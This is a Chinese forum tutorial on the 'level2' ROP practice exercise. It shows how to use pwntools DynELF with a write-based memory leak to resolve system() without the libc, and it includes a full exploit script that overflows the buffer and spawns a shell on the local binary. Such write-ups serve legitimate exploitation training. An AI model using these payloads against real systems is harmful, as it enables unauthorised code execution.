首页
社区
课程
招聘
蒸米ROP level 2 - 在不获取目标libc.so的情况下进行ROP攻击
发表于: 2024-5-1 13:07 3240

蒸米ROP level 2 - 在不获取目标libc.so的情况下进行ROP攻击

2024-5-1 13:07
3240

1.环境

ubuntu1~16.04.12
pwndbg
python

2.目标

不通过确认libc版本,使用DynELF暴力搜找到system 获取shell

3.DynELF的限制

https://blog.csdn.net/ATFWUS/article/details/104823539
DynELF的使用,也需要注意一些限制条件和具体的使用范围:

  • DynELF的原理是在内存中不断搜索地址信息,所以漏洞一定要可以反复的被利用。
  • 因为需要输出地址,所以一定需要相关的相关的泄露函数,如write,puts。
  • write非常好用,因为几乎不受限制的写出。
  • puts函数就有点恼火了,因为会受到x00等字符的干扰而截断,当然,也有相应的解决方案,不过有write最好用write。

4.流程

这次不需要知道libc版本通过DynELF去暴力搜索system

1
2
DynELF(leak, elf=ELF('./level2')) # leak为回调函数,elf需要暴力枚举的程序
system_addr = d.lookup('system', 'libc') # 通过lookup就可以获得system函数

leak 这个回调函数需要可以反复调用
原理就是通过DynELF函数暴力枚举内存地址,使用(write or puts)获得地址地址都存放了什么东西。

1
2
3
4
5
6
7
8
9
10
def leak(address):
    pylaod1 = 'a'*140+ p32(write_plt) +p32(vulfunAddr) + p32(0x1) + p32(address) + p32(0x4)
    p.send(pylaod1)
    data = p.recv(4)
    print ("%#x => %s" % (address, (data or '').encode('hex')))
    return data
 
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print("system_addr", hex(system_addr))

获得system 后差字符串,可以使用read函数向.bbs数据段写入/bin/sh,然后通过地址去引用存放变量。

.bss 段可以通过IDA查看ctrl+s 看到起始位置和结束位置。
.bss段(Block Started by Symbol)用来存储未初始化的全局变量和静态变量的内存,这些变量在程序加载时没有明确的初始值,通常被初始化为零或空。

在调用system这个call的时候注意堆栈平衡POP_POP_POP_ret这个为返回地址是为了把p32(0) 、p32(bass_addr) 、 p32(8)这三个, 三处pop出去让system_add成为栈顶

使用ROPgadget --binary level2 --only 'pop|ret' 找三个POP就行

1
2
payload1 = 'a'*140 + p32(read_plt) + p32(POP_POP_POP_ret) + p32(0) + p32(bass_addr) + p32(8)
payload1 += p32(system_addr) + p32(0x0) + p32(bass_addr)

5.Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf-8[/size][/align][align=left][size=3]
from pwn import * 
 
p = process('./level2')
elf = ELF("./level2")
POP3_ret = 0x080484bd
bss_addr = 0x0804A018
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
vulnerable_function_addr = elf.symbols['vulnerable_function']
 
# 暴力枚举
def leak(addrs):
    payload = b'a'*140 + p32(write_plt) + p32(vulnerable_function_addr) + p32(0x1) + p32(addrs) + p32(0x4)
    p.send(payload)
    data  = p.recv(4)
    print("%#x => %s" % (addrs,(data.encode('hex') if data  else ''  )))
    return data
b = DynELF(leak=leak, elf=elf)
system_addr = b.lookup('system', 'libc')
print("system_addr: %#x" % system_addr)
 
 
# payload 2  Exp
payload1 = b'a'*140 + p32(read_plt) + p32(POP3_ret) + p32(0x0) +p32(bss_addr) + p32(7) #注意7这是/bin/sh的长度read是自动会给填结束符的\0写不写都行
payload1 += p32(system_addr)+ p32(0) + p32(bss_addr)
if args.G:
    gdb.attach(p, "b *vulnerable_function")
 
p.send(payload1)
p.send('/bin/sh\0')
 
p.interactive()

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞0
支持
分享
最新回复 (1)
雪    币: 19785
活跃值: (29397)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-5-1 22:10
1
游客
登录 | 注册 方可回帖
返回